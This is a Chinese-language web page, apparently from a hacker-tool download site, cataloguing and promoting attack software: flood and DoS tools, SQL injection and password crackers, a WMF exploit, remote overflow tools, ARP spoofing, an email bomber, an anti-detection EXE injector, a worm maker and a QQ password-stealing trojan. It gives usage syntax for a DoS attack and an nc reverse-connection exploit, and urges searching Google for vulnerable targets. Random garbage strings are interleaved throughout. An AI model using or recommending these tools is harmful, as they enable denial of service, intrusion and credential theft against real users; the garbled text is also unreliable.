黑器分析 防亦有道 之 攻击工具

攻击工具

  |_Elsave   小榕软件：事件日志清除工具。

  |_IP炸弹
/D8`/c&Y+s^dg0    远程攻击程序。本程序有三种攻击方式，用了不同的方法来写。所以造成一点差异。IGMP方法必须在可以和目标建立连接的前提下使用，可以用来判断对方是否开了防火墙。而后两种不管有没有防火墙都能用。把攻击次数设为0，可以一直攻击，直到手动停止。 用Alt+A可以把程序切换到后台。

  |_阿拉丁UDP攻击器
HVlE%} z0{(t.~0 阿拉丁UDP洪水攻击器2.1 一个UDP洪水攻击软件,攻击速度和威力还有稳定性都要比上个版本好。可以轻易的踢人...(防火墙在一般的设置下不会有任何提示！) 添加了网游私服攻击器....(也能黑一些存在BUG的网站！造成无法访问！) 局域网中攻击效果更好,可以达到拖慢的效果直至系统崩溃....

  |_PHP注入文件读取器
h'n]q-U x8w7I(ytR*fG0通过Mysql注入读取服务器上的程序，分为快速和慢速读取两种方式，用户可以自行选择。慢速读取可以修改并发线程数量来提高读取速度。

  |_AskLog 日志分析软件   比较好的一个日志分析软件

  |_sqlhello2爱好者博墅N'P}(SRP8C
使用方法: sqlhello.exe 目标主机IP 1433 本地IP 555 ! 555是我用nc监听的端口!可任意哦!

  |_EXE广告注入器2006
4ZO+`6pm2gG0更新内容：爱好者博墅r
{}b3cC8_[;Q
 1，在原先V2.54的基础上增加了图标更换功能，即被注入后的程序图标可以自由更换。
6K${T2`1mR0 2，采用压缩算法对目标文件进行了压缩，有效了减少了生成文件的大小爱好者博墅| c4^5V"Y @6s BO U
 3，对URL进行了加密，使得注入后的程序网址不会被一般人所反汇编。
Nv"N kX2q ]hl/NfU0 4, 增加了注入前与注入后文件大小的对比，能有效的了程序注入前与注入后的情况。
q4c,m}"{,v)C0e T5Y'd0 5，增加加密密钥功能，使得注入后的程序不被查杀。爱好者博墅~B"w7ah@^rc
 6，增加自我保护功能，即使关闭主程序后程序依旧在进程中存在。(用户防查杀)爱好者博墅2m KX-[M}
 7，加强了隐藏弹窗功能，使得开启注入后的程序时无形的打开你的网站提高流量。爱好者博墅 `$rmf)^M.DP
 8, 改进了注入基制，使得注入成功率更高，注入后的程序更稳定。爱好者博墅{&Kt0J:u0s
 9, 完美的免费加强版，使得免费用户也能享受到收费用户更强的功能。爱好者博墅o6pW%{#[U,V
功能简介： 国内唯一能在在EXE文件中注入网站链接，使得生成的文件在运行时自动打开设定的网站。

  |_Serv-U本地权限提升生成器

  |_GetWebshellah56bug大众版
B
j*I] `N-C0目前用backup log来测试的成功率是100%

  |_蠕虫制造机2.1

  |_Orjinweb漏洞利用爱好者博墅Hy*z5R[(H
漏洞成因:爱好者博墅`|N3i D}z
index.php对用户提交给'page'参数缺少过滤,可以提交远程服务器的任意文件做为参数

  |_ms0601漏洞攻击工具爱好者博墅,s%oLE Q8_Z
Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit (9day) :]
S6zJT8u|0Advisory ID : FrSIRT/ADV-2005-3086
/H5F].ptf\0Note : This unpatched vulnerability is currently being exploited in the wild爱好者博墅9k,~8BdF"^.H
ChangeLog爱好者博墅[Z1Oz)]G%w
2005-12-28 : Initial release 爱好者博墅4j}['wN;\?[+{
2005-12-28 : Updated Description and Solution
s}1u%Z
RK02005-12-28 : Updated Affected Products (Windows 2000 SP4 and Windows 98/Me)
4r/uG"k#j7lx^02005-12-28 : Updated References (Microsoft KB912840)爱好者博墅9w^?3w)[
2005-12-31 : Additional Exploit爱好者博墅?4ao!s5[zf3GR7o
Affected Products
)qtCp)C0Microsoft Windows 2000 Service Pack 4
-OT7m?r(L0A0Microsoft Windows XP Service Pack 1
fGLU V#K S$c0Microsoft Windows XP Service Pack 2
.H%sA/BLQvhq0Microsoft Windows XP Professional x64 Edition爱好者博墅%^7w.h-G/x2C3R
Microsoft Windows Server 2003
{;o2e]!V,`0Microsoft Windows Server 2003 for Itanium-based Systems爱好者博墅4F{g,c~'@3I1d)}
Microsoft Windows Server 2003 Service Pack 1爱好者博墅3P^%wF3d#UQ*`
Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
M^X$G,RM[T0Microsoft Windows Server 2003 x64 Edition爱好者博墅|B8`GE2YDZ$V
Microsoft Windows 98
$Y ~NY:BT^0Microsoft Windows 98 Second Edition (SE)
s xr!hpn0Microsoft Windows Millennium Edition (ME)

  |_WinProxy 6.0 R1c远程溢出+DOS工具

  |_FlatCMS1.01漏洞利用程序
qy@;w E5_6cZ0几天前发布的exp.已经编译好，测试已经通过了.
0apv0A:d
`0去Google找,很多还是可以利用的

  |_MS05-055攻击工具

  |_Imail 8.01-8.11远程溢出工具爱好者博墅@~*\Aa0[![)S5a
针对win2000所有版本

  |_SQLdict爱好者博墅)b*Ue?z5ePW'^'b e
SQL 服务器口令破解工具，只需要填入服务器IP和用户名，选择合适的字典就可以开始了...

  |_xdos 攻击器
/Hqo8P|#bmZE5zD0输入 xdos xxx.xxx.xxx.xxx 7000 -t 300 -s * ，敲回车键，就发出了对IP地址xxx.xxx.xxx.xxx的 TCP 7000端口 300线程的dos攻击。
P:jVd|a*sxo0这个格式解释：xdos IP地址 端口 -t(指定线程) 300(攻击线程数，初始线程为10，你可以在10-300之间任取值，由你机器的CPU处理数据能力决定线程数大小) -s(指定地址源IP地址) *(隐藏攻击源IP地址)，通常，攻击者会选取7000端口进行攻击。如果利用工具扫描出对方开放着其他服务端口，你也可以选择其他端口进行攻击，例如:iis的80。通常。7000端口攻击效果会更明显，对方失去抵抗能力后，你在登陆器上检测他的7000端口会连接速度很慢或者直接显示关闭。

  |_局域网终结者
HX"`c(r+^0程序通过构造虚假ARP包来欺骗网络主机，使得被指定的主机被从网络中断开，无法上网；程序只对局域网中的主机造成影响。

  |_Shadow EMai
:Aw;ZqG7f0支持外挂字典的暴力邮箱密码破解软件。

  |_随心邮件炸弹爱好者博墅f,lA$J'p0^s9a:N
程序本身自带SMTP服务器，可以直接轰炸到对方的邮件地址，快速高效!
`f#X2`ki0支持发送邮件地址列表；
1ts*\j#Ey0发送次数可自定义；
.Vv-C,[-s{0DNS服务器可自定义为高速DNS地址，也可以取本机的DNS地址；
{ aAl:i7IZ!B"^$u0发送人的MAIL地址可随意更改，包含@符号就行了；爱好者博墅6E)ZvJ4d;BXW}
如果邮件地址发送失败或出错，则在邮件地址前面会加上"!!!"作为标识；
(BNK
\9M0发送失败的原因：1、邮件地址无效；
2D%Cv3zOT4y+`0                              2、服务器拒绝连接；
1]Q5\pa bI$I6I"O%d0             3、服务器被列入黑名单；

w;Jj+l)|9EQ*}9n/IKF0             4、连接超时；爱好者博墅$B
TZ&_%ci6i{:e#w
             5、服务器忙；爱好者博墅`6W&Z+h R#X@ J
随心邮件炸弹的使用方法：
M3xv~ jyB[J01、在左边MAIL地址列表中输入对方的MAIL地址，一行一个地址；爱好者博墅;YD1UB4a!]0S
2、发送次数为每个邮箱的重复发送次数；爱好者博墅#J;~W+W$V.^R
3、然后输入邮件主题与邮件内容；
8S$y#[G/P8mp2wg04、发送人的MAIL地址(可以随便输，包含@符号就行了)；爱好者博墅/y+@R'w`
5、点击发送就行了，下面有状态显示发送进度。爱好者博墅a6|@G5KV
e h
作者： playguy
.M {_(vQ/D;p2M
A#m0随心工作室出品

爱好者博墅?;W$UG.Hk[W|
  |_QQ密保大盗
t7p*Zt(\5ddY:l0 1.截取 QQ密码保护，QQ申诉表资料， QQbeat3加密锁不显示失效！ 2.木马无进程,能穿透任何防火墙,下载者.QQbeat3 加密金锁不显示失效(不会出现红色小叉)! 3.截取QQ密码,QQ密码保护,QQ申诉表资料
,m0l9~PXM"^0